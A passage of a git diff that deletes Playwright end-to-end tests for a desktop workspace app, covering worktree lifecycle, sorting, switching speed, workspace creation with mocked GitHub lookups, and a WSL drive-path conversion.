getAllWorktreeIds, - switchToWorktree, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForTerminalOutput -} from './helpers/terminal' - -test('Cmd+J focuses the terminal after waking a sleeping workspace', async ({ - orcaPage -}, testInfo) => { - await waitForSessionReady(orcaPage) - const source = await waitForActiveWorktree(orcaPage) - const target = (await getAllWorktreeIds(orcaPage)).find((id) => id !== source) - if (!target) { - throw new Error('Expected a second seeded workspace') - } - await switchToWorktree(orcaPage, target) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - await waitForActivePanePtyId(orcaPage) - const targetName = await orcaPage.evaluate((id) => { - const state = window.__store!.getState() - const worktree = state.getKnownWorktreeById(id) - if (!worktree) { - throw new Error('Missing target workspace') - } - return worktree.branch.replace(/^refs\/heads\//, '') - }, target) - await switchToWorktree(orcaPage, source) - await orcaPage.evaluate(async (id) => { - await window.__store!.getState().shutdownWorktreeTerminals(id, { keepIdentifiers: true }) - }, target) - await orcaPage.evaluate(() => { - const listSessions = window.api.pty.listSessions - window.api.pty.listSessions = async (...args) => { - await new Promise((resolve) => setTimeout(resolve, 100)) - return listSessions(...args) - } - }) - // Native menu accelerators require OS focus; open the same palette in the hidden renderer. - await orcaPage.evaluate(() => window.__store!.getState().openModal('worktree-palette')) - const dialog = orcaPage.getByRole('dialog', { name: 'Jump to...' }) - await expect(dialog).toBeVisible() - await dialog.getByRole('combobox').fill(targetName) - await expect(dialog.locator('[cmdk-item][data-selected="true"]')).toContainText(targetName) - const cdp = await orcaPage.context().newCDPSession(orcaPage) - await cdp.send('Emulation.setCPUThrottlingRate', { rate: 8 }) - await orcaPage.keyboard.press('Enter') - await expect(dialog).toBeHidden() - await waitForActiveTerminalManager(orcaPage) - await waitForActivePanePtyId(orcaPage) - const terminal = orcaPage.locator('[data-terminal-tab-id]:visible .xterm-helper-textarea').first() - await orcaPage.screenshot({ path: testInfo.outputPath('wake-focus.png') }) - await expect(terminal).toBeFocused() - await cdp.send('Emulation.setCPUThrottlingRate', { rate: 1 }) - await cdp.detach() - await orcaPage.keyboard.type('echo WAKE_KEYBOARD_OK') - await orcaPage.keyboard.press('Enter') - await waitForTerminalOutput(orcaPage, 'WAKE_KEYBOARD_OK') - await orcaPage.screenshot({ path: testInfo.outputPath('wake-typing.png') }) -}) diff --git a/tests/e2e/worktree-lifecycle.spec.ts b/tests/e2e/worktree-lifecycle.spec.ts deleted file mode 100644 index befdad4b32a..00000000000 --- a/tests/e2e/worktree-lifecycle.spec.ts +++ /dev/null @@ -1,159 +0,0 @@ -// #532: removal must drop owned terminal/editor/browser state. - -import { test, expect } from './helpers/orca-app' -import { - waitForSessionReady, - waitForActiveWorktree, - getActiveWorktreeId, - getAllWorktreeIds, - getWorktreeTabs, - getOpenFiles, - getBrowserTabs, - switchToWorktree, - ensureTerminalVisible -} from './helpers/store' -import { clickFileInExplorer, openFileExplorer } from './helpers/file-explorer' - -async function createIsolatedWorktree( - page: Parameters[0] -): Promise { - const name = `e2e-lifecycle-${Date.now()}` - return page.evaluate(async (worktreeName) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - - const state = store.getState() - const activeWorktreeId = state.activeWorktreeId - if (!activeWorktreeId) { - throw new Error('No active worktree to derive repo from') - } - - const activeWorktree = Object.values(state.worktreesByRepo) - .flat() - .find((worktree) => worktree.id === activeWorktreeId) - if (!activeWorktree) { - throw new Error(`Active worktree ${activeWorktreeId} not found`) - } - - const result = await state.createWorktree(activeWorktree.repoId, worktreeName) - await state.fetchWorktrees(activeWorktree.repoId) - return result.worktree.id - }, name) -} - -async function removeWorktreeViaStore( - page: Parameters[0], - worktreeId: string -): Promise<{ ok: boolean; error?: string }> { - return page.evaluate(async (id) => { - const store = window.__store - if (!store) { - return { ok: false as const, error: 'store unavailable' } - } - - const state = store.getState() - const result = await state.removeWorktree( - { id, executionHostId: state.getKnownWorktreeById(id)?.hostId ?? null }, - true - ) - return result - }, worktreeId) -} - -test.describe('Worktree Lifecycle', () => { - // Track isolated worktrees for afterEach cleanup so aborted tests cannot leak branches/directories into the shared worker. - let createdWorktreeId: string | null = null - - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - }) - - test.afterEach(async ({ orcaPage }) => { - if (!createdWorktreeId) { - return - } - const idToClean = createdWorktreeId - createdWorktreeId = null - await orcaPage - .evaluate(async (id) => { - try { - const state = window.__store?.getState() - await state?.removeWorktree( - { id, executionHostId: state.getKnownWorktreeById(id)?.hostId ?? null }, - true - ) - } catch { - /* best-effort cleanup */ - } - }, idToClean) - .catch(() => undefined) - }) - - // #532: removing a worktree must drop all owned surface state. - test('removing a worktree clears its tabs, open files, and browser tabs', async ({ - orcaPage - }) => { - const originalWorktreeId = await waitForActiveWorktree(orcaPage) - - createdWorktreeId = await createIsolatedWorktree(orcaPage) - const newWorktreeId = createdWorktreeId - await switchToWorktree(orcaPage, newWorktreeId) - await expect - .poll(async () => getActiveWorktreeId(orcaPage), { timeout: 10_000 }) - .toBe(newWorktreeId) - await ensureTerminalVisible(orcaPage) - - // Seed all three surface types to require atomic cleanup. - await orcaPage.evaluate((worktreeId) => { - const store = window.__store - if (!store) { - return - } - - const state = store.getState() - state.createTab(worktreeId) - state.createBrowserTab(worktreeId, 'about:blank', { - title: 'lifecycle-test', - activate: false - }) - }, newWorktreeId) - - await openFileExplorer(orcaPage) - await clickFileInExplorer(orcaPage, ['README.md', 'package.json']) - - expect((await getWorktreeTabs(orcaPage, newWorktreeId)).length).toBeGreaterThan(0) - expect((await getBrowserTabs(orcaPage, newWorktreeId)).length).toBeGreaterThan(0) - expect((await getOpenFiles(orcaPage, newWorktreeId)).length).toBeGreaterThan(0) - - // Remove an inactive worktree; deleting the active one follows an easier path that misses this cleanup regression. - await switchToWorktree(orcaPage, originalWorktreeId) - await expect - .poll(async () => getActiveWorktreeId(orcaPage), { timeout: 10_000 }) - .toBe(originalWorktreeId) - - const result = await removeWorktreeViaStore(orcaPage, newWorktreeId) - expect(result.ok).toBe(true) - createdWorktreeId = null - - // Require all removed-worktree keyed surfaces gone to prevent a worktree-less tab strip. - await expect - .poll(async () => (await getWorktreeTabs(orcaPage, newWorktreeId)).length, { - timeout: 10_000, - message: 'tabsByWorktree still holds entries for the removed worktree' - }) - .toBe(0) - await expect - .poll(async () => (await getBrowserTabs(orcaPage, newWorktreeId)).length, { timeout: 5_000 }) - .toBe(0) - await expect - .poll(async () => (await getOpenFiles(orcaPage, newWorktreeId)).length, { timeout: 5_000 }) - .toBe(0) - - const allIds = await getAllWorktreeIds(orcaPage) - expect(allIds).not.toContain(newWorktreeId) - }) -}) diff --git a/tests/e2e/worktree-recent-sort.spec.ts b/tests/e2e/worktree-recent-sort.spec.ts deleted file mode 100644 index 913f56bdf19..00000000000 --- a/tests/e2e/worktree-recent-sort.spec.ts +++ /dev/null @@ -1,94 +0,0 @@ -// New folder/discovered worktrees without WorktreeMeta formerly fell back to lastActivityAt:0 and sorted last in Recent. -// Require worktrees:listDetected to stamp first discovery without restamping later refreshes. - -import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady, waitForActiveWorktree } from './helpers/store' - -async function addFolderRepo(page: Page, folderPath: string): Promise { - return page.evaluate(async (p) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is unavailable') - } - // Use public addNonGitFolder so internal worktree fetch triggers discovery exactly as Add Folder does. - const repo = await store.getState().addNonGitFolder(p) - if (!repo) { - throw new Error('addNonGitFolder returned null') - } - return repo.id - }, folderPath) -} - -async function readFolderWorktreeLastActivity(page: Page, repoId: string): Promise { - return page.evaluate((id) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is unavailable') - } - const worktree = store.getState().worktreesByRepo[id]?.[0] - if (!worktree) { - throw new Error(`No worktree found for repo ${id}`) - } - return worktree.lastActivityAt - }, repoId) -} - -test.describe('Worktree Recent Sort', () => { - // Scope fixture tracking to this describe so future parallel tests/describes cannot share mutable cleanup arrays. - const createdFolderFixtures: string[] = [] - - function createFolderFixture(): string { - const dir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-folder-')) - createdFolderFixtures.push(dir) - mkdirSync(path.join(dir, 'src'), { recursive: true }) - writeFileSync(path.join(dir, 'README.md'), '# folder fixture\n') - return dir - } - - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - }) - - test.afterEach(() => { - // Clean mkdtemp fixtures explicitly, matching app/restart fixtures. - while (createdFolderFixtures.length) { - const dir = createdFolderFixtures.pop() - if (dir) { - rmSync(dir, { recursive: true, force: true }) - } - } - }) - - test('stamps lastActivityAt on a newly-added folder repo so it sorts to the top of Recent', async ({ - orcaPage - }) => { - const folderPath = createFolderFixture() - - const repoId = await addFolderRepo(orcaPage, folderPath) - const lastActivityAt = await readFolderWorktreeLastActivity(orcaPage, repoId) - - // Require >0 to catch the original zero fallback without cross-process clock-skew comparisons. - expect(lastActivityAt).toBeGreaterThan(0) - }) - - test('leaves lastActivityAt stable across repeated list refreshes', async ({ orcaPage }) => { - // Refetch must retain the first-discovery stamp or sidebar refresh reshuffles Recent. - const folderPath = createFolderFixture() - const repoId = await addFolderRepo(orcaPage, folderPath) - - const first = await readFolderWorktreeLastActivity(orcaPage, repoId) - - await orcaPage.evaluate(async (id) => { - await window.__store?.getState().fetchWorktrees(id) - await window.__store?.getState().fetchWorktrees(id) - }, repoId) - - const second = await readFolderWorktreeLastActivity(orcaPage, repoId) - expect(second).toBe(first) - }) -}) diff --git a/tests/e2e/worktree-switch-responsiveness.spec.ts b/tests/e2e/worktree-switch-responsiveness.spec.ts deleted file mode 100644 index 999dd927988..00000000000 --- a/tests/e2e/worktree-switch-responsiveness.spec.ts +++ /dev/null @@ -1,156 +0,0 @@ -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { worktreeRow } from './worktree-row-locators' - -const MAX_CLICK_TASK_DURATION_MS = 32 -const MAX_CLICK_BACK_TIMER_DRIFT_MS = 50 - -async function prepareSidebarForSwitchTest(page: Page): Promise<[string, string]> { - return page.evaluate(async () => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - - const state = store.getState() - state.setActiveView('terminal') - state.setSidebarOpen(true) - state.setGroupBy('none') - state.setSortBy('recent') - state.setShowActiveOnly(false) - state.setShowSleepingWorkspaces(true) - state.setHideDefaultBranchWorkspace(false) - state.setFilterRepoIds([]) - - const repo = state.repos[0] - const worktrees = repo ? (state.worktreesByRepo[repo.id] ?? []) : [] - if (worktrees.length < 2) { - throw new Error('Worktree switch responsiveness test needs at least two worktrees') - } - - const [first, second] = worktrees - if ((state.tabsByWorktree[second.id] ?? []).length === 0) { - state.createTab(second.id, undefined, undefined, { pendingActivationSpawn: true }) - } - state.revealWorktreeInSidebar(first.id, { behavior: 'auto' }) - state.revealWorktreeInSidebar(second.id, { behavior: 'auto' }) - state.setActiveWorktree(first.id) - return [first.id, second.id] - }) -} - -test.describe('Worktree switch responsiveness', () => { - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - }) - - test('updates the selected workspace in the same click task when changing back', async ({ - orcaPage - }) => { - const [firstWorktreeId, secondWorktreeId] = await prepareSidebarForSwitchTest(orcaPage) - const firstRow = worktreeRow(orcaPage, firstWorktreeId) - const secondRow = worktreeRow(orcaPage, secondWorktreeId) - - await expect(firstRow).toBeVisible() - await expect(secondRow).toBeVisible() - await expect(firstRow).toHaveAttribute('aria-current', 'page') - await expect(orcaPage.locator('[data-rendered-active-worktree-id]')).toHaveAttribute( - 'data-rendered-active-worktree-id', - firstWorktreeId - ) - - const result = await orcaPage.evaluate( - async ({ firstId, secondId, timerDelayMs }) => { - const option = (id: string): HTMLElement => { - const element = [...document.querySelectorAll('[data-worktree-id]')].find( - (candidate) => candidate.dataset.worktreeId === id - ) - if (!element) { - throw new Error(`Missing worktree option for ${id}`) - } - return element - } - const surface = (id: string): HTMLElement => { - const element = option(id).querySelector('[data-worktree-card-surface]') - if (!element) { - throw new Error(`Missing worktree card surface for ${id}`) - } - return element - } - const visibleState = () => ({ - firstCurrent: option(firstId).getAttribute('aria-current'), - secondCurrent: option(secondId).getAttribute('aria-current'), - renderedWorktreeId: - document - .querySelector('[data-rendered-active-worktree-id]') - ?.getAttribute('data-rendered-active-worktree-id') ?? null - }) - - const before = visibleState() - const firstClickStart = performance.now() - surface(secondId).click() - const afterFirstClick = { - clickDurationMs: performance.now() - firstClickStart, - ...visibleState() - } - - const timerStart = performance.now() - const afterSecondClick = await new Promise< - ReturnType & { - clickDurationMs: number - timerDriftMs: number - } - >((resolve) => { - window.setTimeout(() => { - const firedAt = performance.now() - const secondClickStart = performance.now() - surface(firstId).click() - resolve({ - clickDurationMs: performance.now() - secondClickStart, - timerDriftMs: firedAt - timerStart - timerDelayMs, - ...visibleState() - }) - }, timerDelayMs) - }) - - await new Promise((resolve) => window.setTimeout(resolve, 700)) - const afterQuietWindow = visibleState() - - return { - before, - afterFirstClick, - afterSecondClick, - afterQuietWindow - } - }, - { firstId: firstWorktreeId, secondId: secondWorktreeId, timerDelayMs: 120 } - ) - - expect(result.before).toMatchObject({ - firstCurrent: 'page', - secondCurrent: null, - renderedWorktreeId: firstWorktreeId - }) - expect(result.afterFirstClick).toMatchObject({ - firstCurrent: null, - secondCurrent: 'page', - renderedWorktreeId: firstWorktreeId - }) - expect(result.afterFirstClick.clickDurationMs).toBeLessThanOrEqual(MAX_CLICK_TASK_DURATION_MS) - expect(result.afterSecondClick.timerDriftMs).toBeLessThanOrEqual(MAX_CLICK_BACK_TIMER_DRIFT_MS) - expect(result.afterSecondClick.clickDurationMs).toBeLessThanOrEqual(MAX_CLICK_TASK_DURATION_MS) - expect(result.afterSecondClick).toMatchObject({ - firstCurrent: 'page', - secondCurrent: null - }) - // Why: sidebar selection commits synchronously; the terminal surface may - // still finish the prior switch until the quiet-window check below. - expect(result.afterQuietWindow).toMatchObject({ - firstCurrent: 'page', - secondCurrent: null, - renderedWorktreeId: firstWorktreeId - }) - }) -}) diff --git a/tests/e2e/worktree.spec.ts b/tests/e2e/worktree.spec.ts deleted file mode 100644 index 8fdae93160b..00000000000 --- a/tests/e2e/worktree.spec.ts +++ /dev/null @@ -1,447 +0,0 @@ -import { openSidebarWorkspaceComposer } from './helpers/sidebar-project-dialog' -// Drive the real Create Workspace composer: old direct store creation missed #1186’s React #31 render crash after #710’s modal replacement. -// #1191 removed StartFromField, but console/pageerror checks still reject equivalent render crashes; see tests/e2e/AGENTS.md. - -import type { ConsoleMessage } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { - waitForSessionReady, - waitForActiveWorktree, - getActiveWorktreeId, - ensureTerminalVisible, - worktreeExists -} from './helpers/store' - -test.describe('Create Workspace', () => { - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - }) - - test('creates a worktree through the composer UI and activates it', async ({ orcaPage }) => { - const worktreeIdBefore = await getActiveWorktreeId(orcaPage) - - // Capture both console’s invalid-React-child message and pageerror #31 for dev/production render failures. - const pageErrors: Error[] = [] - orcaPage.on('pageerror', (err) => { - pageErrors.push(err) - }) - const consoleErrors: string[] = [] - const onConsole = (msg: ConsoleMessage): void => { - if (msg.type() === 'error') { - consoleErrors.push(msg.text()) - } - } - orcaPage.on('console', onConsole) - - const workspaceName = `e2e-create-${Date.now()}` - - try { - // Open via visible affordance to cover lazy modal mount. - await openSidebarWorkspaceComposer(orcaPage) - - const dialog = orcaPage.getByRole('dialog', { name: /Create (Workspace|Worktree)/i }) - await expect(dialog).toBeVisible() - - // Wait for agent probe/name focus/hydration/setup hooks before clicking through Radix FocusScope reparenting. - await expect(dialog.locator('[data-workspace-name-input="true"]')).toBeVisible() - - // Round-trip getBaseRefDefault so envelope consumers can trigger #1186-class render errors after #1191 removed StartFromField. - await orcaPage.evaluate(async () => { - const repoId = Object.values(window.__store!.getState().worktreesByRepo).flat()[0]?.repoId - if (!repoId) { - return - } - await window.api.repos.getBaseRefDefault({ repoId }) - }) - await orcaPage.waitForTimeout(100) - - // Plain text in default smart mode submits as workspace name. - const nameInput = dialog.getByPlaceholder(/Type a name/i) - await expect(nameInput).toBeVisible() - await nameInput.fill(workspaceName) - - const createButton = dialog.getByRole('button', { name: /Create (Workspace|Worktree)/i }) - await expect(createButton).toBeEnabled() - await createButton.click() - - await expect(dialog).toBeHidden({ timeout: 15_000 }) - - await expect - .poll(async () => worktreeExists(orcaPage, workspaceName), { - timeout: 10_000, - message: `Worktree "${workspaceName}" did not appear in the store` - }) - .toBe(true) - - await expect - .poll( - async () => { - const id = await getActiveWorktreeId(orcaPage) - return id !== null && id !== worktreeIdBefore - }, - { timeout: 10_000, message: 'New worktree did not become the active worktree' } - ) - .toBe(true) - - // Require auto-created terminal to prove activateAndRevealWorktree ran beyond creating the store row. - await ensureTerminalVisible(orcaPage) - - expect(pageErrors, `pageerror fired: ${pageErrors.map((e) => e.message).join(', ')}`).toEqual( - [] - ) - const reactChildErrors = consoleErrors.filter((text) => - /Objects are not valid as a React child|Minified React error #31/i.test(text) - ) - expect(reactChildErrors, `React render error: ${reactChildErrors.join(', ')}`).toEqual([]) - } finally { - orcaPage.off('console', onConsole) - // Best-effort close if the test failed mid-flow and left the modal open. - await orcaPage - .evaluate(() => { - window.__store?.getState().closeModal() - }) - .catch(() => { - /* page may already be torn down */ - }) - } - }) - - for (const autoRenameBranchFromWork of [true, false]) { - test(`uses a typed emoji workspace name as its branch with automatic branch naming ${autoRenameBranchFromWork ? 'on' : 'off'}`, async ({ - orcaPage - }) => { - const workspaceName = autoRenameBranchFromWork ? '✨🚀🧪' : '🚀🧪✨' - const previousSetting = await orcaPage.evaluate( - () => window.__store!.getState().settings!.autoRenameBranchFromWork - ) - - try { - await orcaPage.evaluate(async (enabled) => { - await window - .__store!.getState() - .updateSettingsOrThrow({ autoRenameBranchFromWork: enabled }) - }, autoRenameBranchFromWork) - await openSidebarWorkspaceComposer(orcaPage) - - const dialog = orcaPage.getByRole('dialog', { name: /Create (Workspace|Worktree)/i }) - await expect(dialog).toBeVisible() - await expect(dialog.locator('[data-workspace-name-input="true"]')).toBeVisible() - - const nameInput = dialog.getByPlaceholder(/Type a name/i) - await nameInput.fill(workspaceName) - - const createButton = dialog.getByRole('button', { name: /Create (Workspace|Worktree)/i }) - await expect(createButton).toBeEnabled() - await createButton.click() - - await expect(dialog).toBeHidden({ timeout: 15_000 }) - await expect(orcaPage.getByRole('option', { name: new RegExp(workspaceName) })).toBeVisible( - { - timeout: 10_000 - } - ) - - await expect( - orcaPage.getByRole('option', { name: new RegExp(workspaceName) }) - ).toContainText( - autoRenameBranchFromWork ? 'sparkles-rocket-test-tube' : 'rocket-test-tube-sparkles' - ) - } finally { - await orcaPage - .evaluate(() => { - window.__store?.getState().closeModal() - }) - .catch(() => { - /* page may already be torn down */ - }) - await orcaPage.evaluate(async (enabled) => { - await window - .__store!.getState() - .updateSettingsOrThrow({ autoRenameBranchFromWork: enabled }) - }, previousSetting) - } - }) - } - - test('enters the Korean flag with the flag_kr shortcode suggestion', async ({ orcaPage }) => { - try { - await openSidebarWorkspaceComposer(orcaPage) - - const dialog = orcaPage.getByRole('dialog', { name: /Create (Workspace|Worktree)/i }) - const nameInput = dialog.getByPlaceholder(/Type a name/i) - await expect(nameInput).toBeVisible() - - await nameInput.pressSequentially('Launch :flag_kr', { delay: 100 }) - const emojiSuggestions = orcaPage.locator('[data-workspace-emoji-suggestions="true"]') - const sourceSuggestions = orcaPage.locator('[data-workspace-source-suggestions="true"]') - await expect(emojiSuggestions).toBeVisible() - await expect(emojiSuggestions.getByRole('option', { name: ':flag_kr:' })).toBeVisible() - await expect(emojiSuggestions).toHaveAttribute('data-side', 'top') - await expect(sourceSuggestions).toBeVisible() - await expect(sourceSuggestions).toHaveAttribute('data-side', 'bottom') - // Keep both independently positioned suggestion surfaces visible in proof recordings. - await orcaPage.waitForTimeout(750) - - await nameInput.pressSequentially(':') - await expect(nameInput).toHaveValue('Launch 🇰🇷') - await expect(orcaPage.getByRole('option', { name: /:flag_kr:/i })).toHaveCount(0) - await nameInput.pressSequentially(' experiment') - await expect(nameInput).toHaveValue('Launch 🇰🇷 experiment') - // Keep the asserted result visible in retained proof recordings. - await orcaPage.waitForTimeout(750) - } finally { - await orcaPage - .evaluate(() => { - window.__store?.getState().closeModal() - }) - .catch(() => { - /* page may already be torn down */ - }) - } - }) - - test('shows a failed workspace entry when worktree creation fails', async ({ orcaPage }) => { - await orcaPage.evaluate(() => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - const originalCreateWorktree = store.getState().createWorktree - ;( - window as unknown as { - __restoreCreateWorktree?: () => void - } - ).__restoreCreateWorktree = () => { - store.setState({ createWorktree: originalCreateWorktree }) - } - store.setState({ - createWorktree: async () => { - throw new Error('could not resolve a default base ref for the E2E fixture') - } - }) - }) - - try { - const workspaceName = `e2e-create-failure-${Date.now()}` - - await openSidebarWorkspaceComposer(orcaPage) - - const dialog = orcaPage.getByRole('dialog', { name: /Create (Workspace|Worktree)/i }) - await expect(dialog).toBeVisible() - await expect(dialog.locator('[data-workspace-name-input="true"]')).toBeVisible() - - const nameInput = dialog.getByPlaceholder(/Type a name/i) - await expect(nameInput).toBeVisible() - await nameInput.fill(workspaceName) - - const createButton = dialog.getByRole('button', { name: /Create (Workspace|Worktree)/i }) - await expect(createButton).toBeEnabled() - await createButton.click() - - await expect(dialog).toBeHidden() - const failedWorkspace = orcaPage.getByRole('button', { - name: new RegExp(`${workspaceName} No base branch found`) - }) - await expect(failedWorkspace).toBeVisible() - await expect(orcaPage.getByText('Couldn’t create worktree')).toBeVisible() - await expect(failedWorkspace).toContainText('No base branch found') - await expect(orcaPage.getByRole('button', { name: 'Retry' })).toBeVisible() - } finally { - await orcaPage - .evaluate(() => { - ;( - window as unknown as { - __restoreCreateWorktree?: () => void - } - ).__restoreCreateWorktree?.() - window.__store?.getState().closeModal() - }) - .catch(() => { - /* page may already be torn down */ - }) - } - }) - - test('reuses a resolved pasted GitHub URL when quick create submits', async ({ - electronApp, - orcaPage - }) => { - const title = `E2E smart URL resolution ${Date.now()}` - const url = 'https://github.com/stablyai/orca/pull/2049' - const linkedWorkspacePattern = new RegExp(title.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')) - - try { - await openSidebarWorkspaceComposer(orcaPage) - - const dialog = orcaPage.getByRole('dialog', { name: /Create (Workspace|Worktree)/i }) - await expect(dialog).toBeVisible() - await expect(dialog.locator('[data-workspace-name-input="true"]')).toBeVisible() - - await electronApp.evaluate( - ({ ipcMain }, { title, url }) => { - const counters = globalThis as unknown as { - __smartGitHubLookupCount: number - __smartResolvePrBaseCount: number - } - counters.__smartGitHubLookupCount = 0 - counters.__smartResolvePrBaseCount = 0 - ipcMain.removeHandler('gh:workItemByOwnerRepo') - ipcMain.handle( - 'gh:workItemByOwnerRepo', - ( - _event: unknown, - args: { - number: number - repoId?: string - } - ) => { - counters.__smartGitHubLookupCount += 1 - return { - id: `e2e-pr-${args.number}`, - type: 'pr', - number: args.number, - title, - state: 'open', - url, - labels: [], - updatedAt: '2026-05-26T00:00:00.000Z', - author: 'e2e', - repoId: args.repoId ?? 'e2e-repo' - } - } - ) - ipcMain.removeHandler('worktrees:resolvePrBase') - // Use HEAD: the remote-less fixture’s default branch depends on host init.defaultBranch. - ipcMain.handle('worktrees:resolvePrBase', () => { - counters.__smartResolvePrBaseCount += 1 - return { baseBranch: 'HEAD' } - }) - }, - { title, url } - ) - - const nameInput = dialog.getByPlaceholder(/Type a name/i) - await expect(nameInput).toBeVisible() - await nameInput.fill(url) - - await expect - .poll(() => - electronApp.evaluate(() => { - const counters = globalThis as unknown as { - __smartGitHubLookupCount?: number - __smartResolvePrBaseCount?: number - } - return { - githubLookupCount: counters.__smartGitHubLookupCount ?? -1, - resolvePrBaseCount: counters.__smartResolvePrBaseCount ?? -1 - } - }) - ) - .toEqual({ githubLookupCount: 1, resolvePrBaseCount: 0 }) - const createButton = dialog.getByRole('button', { name: /Create (Workspace|Worktree)/i }) - await expect(createButton).toBeEnabled() - await createButton.click() - - await expect(dialog).toBeHidden({ timeout: 15_000 }) - await expect(orcaPage.getByRole('option', { name: linkedWorkspacePattern })).toBeVisible({ - timeout: 10_000 - }) - await expect(orcaPage.getByRole('option', { name: url })).toHaveCount(0) - await expect(orcaPage.getByText('Linked PR #2049')).toBeVisible() - // Quick create reuses typing’s GitHub lookup; #5733 resolves PR head once at submit, requiring one base resolution. - await expect - .poll(() => - electronApp.evaluate(() => { - const counters = globalThis as unknown as { - __smartGitHubLookupCount?: number - __smartResolvePrBaseCount?: number - } - return { - githubLookupCount: counters.__smartGitHubLookupCount ?? -1, - resolvePrBaseCount: counters.__smartResolvePrBaseCount ?? -1 - } - }) - ) - .toEqual({ githubLookupCount: 1, resolvePrBaseCount: 1 }) - } finally { - await orcaPage - .evaluate(() => { - window.__store?.getState().closeModal() - }) - .catch(() => { - /* page may already be torn down */ - }) - } - }) - - test('names the workspace after the PR title when the pasted URL suggestion is selected', async ({ - electronApp, - orcaPage - }) => { - const title = `E2E selected URL resolution ${Date.now()}` - const url = 'https://github.com/stablyai/orca/pull/2050' - const linkedWorkspacePattern = new RegExp(title.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')) - - try { - await openSidebarWorkspaceComposer(orcaPage) - - const dialog = orcaPage.getByRole('dialog', { name: /Create (Workspace|Worktree)/i }) - await expect(dialog).toBeVisible() - await expect(dialog.locator('[data-workspace-name-input="true"]')).toBeVisible() - - await electronApp.evaluate( - ({ ipcMain }, { title, url }) => { - ipcMain.removeHandler('gh:workItemByOwnerRepo') - ipcMain.handle( - 'gh:workItemByOwnerRepo', - (_event: unknown, args: { number: number; repoId?: string }) => ({ - id: `e2e-pr-${args.number}`, - type: 'pr', - number: args.number, - title, - state: 'open', - url, - labels: [], - updatedAt: '2026-05-26T00:00:00.000Z', - author: 'e2e', - repoId: args.repoId ?? 'e2e-repo' - }) - ) - ipcMain.removeHandler('worktrees:resolvePrBase') - // Use HEAD: the remote-less fixture’s default branch depends on host init.defaultBranch. - ipcMain.handle('worktrees:resolvePrBase', () => ({ baseBranch: 'HEAD' })) - }, - { title, url } - ) - - const nameInput = dialog.getByPlaceholder(/Type a name/i) - await expect(nameInput).toBeVisible() - await nameInput.fill(url) - - // #4900: selecting resolved suggestion must replace the pasted URL as name; locate its portaled row outside the dialog. - const suggestion = orcaPage.getByRole('option', { name: linkedWorkspacePattern }) - await expect(suggestion).toBeVisible() - await orcaPage.keyboard.press('Enter') - - const createButton = dialog.getByRole('button', { name: /Create (Workspace|Worktree)/i }) - await expect(createButton).toBeEnabled() - await createButton.click() - - await expect(dialog).toBeHidden({ timeout: 15_000 }) - await expect(orcaPage.getByRole('option', { name: linkedWorkspacePattern })).toBeVisible({ - timeout: 10_000 - }) - await expect(orcaPage.getByRole('option', { name: /https-github/i })).toHaveCount(0) - await expect(orcaPage.getByText('Linked PR #2050')).toBeVisible() - } finally { - await orcaPage - .evaluate(() => { - window.__store?.getState().closeModal() - }) - .catch(() => { - /* page may already be torn down */ - }) - } - }) -}) diff --git a/tests/e2e/wsl-drive-unc-conversion.spec.ts b/tests/e2e/wsl-drive-unc-conversion.spec.ts deleted file mode 100644 index c4c015d8c54..00000000000 --- a/tests/e2e/wsl-drive-unc-conversion.spec.ts +++ /dev/null @@ -1,148 +0,0 @@ -/** - * A journaled Windows-drive conversion on a real desktop: a project kept at WSL's view of a drive - * (`\\wsl.localhost\Ubuntu\mnt\c\…`), with a slept terminal and a worktree comment, opens at the - * drive path after the restart. Its settings and its terminal's saved session follow the new - * worktree id, and the journal goes once the window has converted its own stores. - * - * Starting a conversion needs Windows; running a journaled one does not, so this runs anywhere. - */ -import { existsSync, mkdirSync, writeFileSync } from 'node:fs' -import { join } from 'node:path' -import { z } from 'zod' -import { expect, test } from './helpers/orca-app' -import { createRestartSession } from './helpers/orca-restart' -import { - mutateStoppedProfileState, - readPersistedProfileState -} from './helpers/persisted-profile-state' -import { waitForSessionReady } from './helpers/store' -import { getHistorySessionDirName } from '../../src/main/daemon/history/storage/history-paths' -import { - listWslDriveUncConversions, - writeWslDriveUncConversion -} from '../../src/main/wsl/filesystem/wsl-drive-unc-conversion-journal' -import { WSL_HOSTS_INTERNAL_GATE_ENV } from '../../src/shared/remote-runtime/wsl-hosts/wsl-host-internal-gate' - -test.use({ seedTestRepo: false }) - -const SavedProfile = z.object({ - worktreeMeta: z.record(z.string(), z.object({ comment: z.string().optional() })), - workspaceSession: z.object({ - tabsByWorktree: z.record(z.string(), z.array(z.object({ ptyId: z.string().nullable() }))) - }), - projects: z.array( - z.object({ sourceRepoIds: z.array(z.string()), localWindowsRuntimePreference: z.unknown() }) - ) -}) - -function isRecord(value: unknown): value is Record { - return typeof value === 'object' && value !== null && !Array.isArray(value) -} - -const UNC = String.raw`\\wsl.localhost\Ubuntu\mnt\c\src\app` -const DRIVE = String.raw`C:\src\app` -const OLD_ID = `repo-unc::${UNC}` -const NEW_ID = `repo-unc::${DRIVE}` - -test('a journaled conversion reopens a UNC drive project at its drive path', async (// oxlint-disable-next-line no-empty-pattern -- Playwright requires destructuring to request no fixtures. -{}, 